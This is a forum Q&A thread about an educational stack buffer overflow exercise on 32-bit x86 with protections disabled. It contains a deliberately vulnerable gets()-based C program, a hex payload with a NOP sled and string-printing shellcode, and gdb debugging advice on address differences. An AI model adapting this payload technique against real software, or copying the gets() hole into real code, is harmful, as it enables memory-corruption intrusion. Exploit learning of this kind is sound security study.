6

Some days ago I coded a simple code to test a buffer overflow exploitation on x86 system. In order to keep it simple I disabled ASLR and NX so there are no protection that could cause weird behaviours.

This is my C code to exploit:

#include <stdio.h>

void read_txt(){
        char txt[64];
        printf("Write something:");
        gets(txt);
}


int main(){
    read_txt();
    return 0;
}

I also wrote my own shellcode that just prints a string. As far as I know the payload should be something like this, fill the buffer with NOP instructions + shellcode, add 0x41414141 (AAAA) to overwrite EBP register and finally I override the return address with an address pointing to the middle of the NOPs.

Actually it does not work in that way and my payload is as follows:

[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]

1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address

This exploit works on gdb but fails if I pass the payload directly to the program, and I think that the problem is that just before the program executes gets() function the disasembler shows the leave instruction which points esp to ebp and causes an error.

This is the disassembly of read_txt() function:

0x0804844c <+0>:    push   %ebp
   0x0804844d <+1>: mov    %esp,%ebp
   0x0804844f <+3>: sub    $0x44,%esp
   0x08048452 <+6>: movl   $0x8048510,(%esp)
   0x08048459 <+13>:    call   0x8048320 <printf@plt>
   0x0804845e <+18>:    lea    -0x40(%ebp),%eax
   0x08048461 <+21>:    mov    %eax,(%esp)
   0x08048464 <+24>:    call   0x8048330 <gets@plt>
   0x08048469 <+29>:    leave  
   0x0804846a <+30>:    ret    

And this is the execution of the exploit on GDB:

(gdb) x/20x $esp
0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090
0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231
0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068
0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0
0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.

0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb) 

Notice that EBP points to 0x90909090 because it has the same address that overrides the return address, and also notice the string Shellcode Executed that is the shellcode included in the payload.

My question is, where could I point EBP to avoid this problem before pointing the return address to the NOP slide? Also as secondary question why I can't fill the 64bytes buffer with NOPs+Shellcode?

Regards.

5

In fact, the memory layout within gdb and outside of it differs of a few bytes. There have been recently a question about this here. You can read: How to predict address space layout differences between real and gdb-controlled executions?

In your case, you may just have to adjust your address by adding/subtracting 96 bytes.

I can, also, give you a few tricks with gdb to help you a bit with this:

  • info frame: This command gives you a full image of the frame you are in. Including where are stored the saved eip ans the saved ebp. It is extremely useful to observe if you reach the right spot in the memory to modify. You may set a breakpoint on read_txt and display the content of the saved eip before and after the gets() is called in order to see if the modification occurred properly.

  • When hitting a:

    0xbffff489 in ?? ()
    

    It basically means that gdb did not find any symbol linked to the memory location. But, it might be assembly code, especially if it is your shellcode. So, to disassemble it you can use either of these commands:

    • disas 0xbffff489,+40
    • x /10i 0xbffff489

Hope this help.

  • That's it, the problem was that I was actually pointing outside the nop+shellcode. Also unless it worked inside gdb the stack was different during an external execution and it does not work. Checking the link you provided I understood what was happening and solved the issue. Thanks – Nucklear Nov 3 '13 at 15:41
  • Where do the 96 bytes came from? – Nikos Jun 19 '17 at 14:43
  • @RestlessC0bra: This is the average amount of bytes added by the GCC environment variables when it runs a process (at least this is my experience, it may vary from one system to another). – perror Jun 19 '17 at 14:49
  • @perror Your answer proved very helpful to me. I've learned more gdb tricks and gained better understanding. However this hasn't helped me solve my issue. I'm having segmentation fault at address 0x90909090. This is my exact error message" Program received signal SIGSEGV, Segmentation fault. 0x90909090 in ?? () I have thoroughly checked and rechecked and now even more with your answer (the command info frame) and i am certain that i overwrite the return address with the address somewhere inside my shellcode. However i can't escape this error !!! Ubuntu 32bit 16.04 LTS – Nikos Jun 19 '17 at 15:09
  • In fact, running a process in gdb and in real-life is not exactly the same. So, I would advise you to generate a core file and locate the right address to jump to. In fact, I should maybe write something about this because this is not really obvious at first time. – perror Jun 19 '17 at 16:17

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.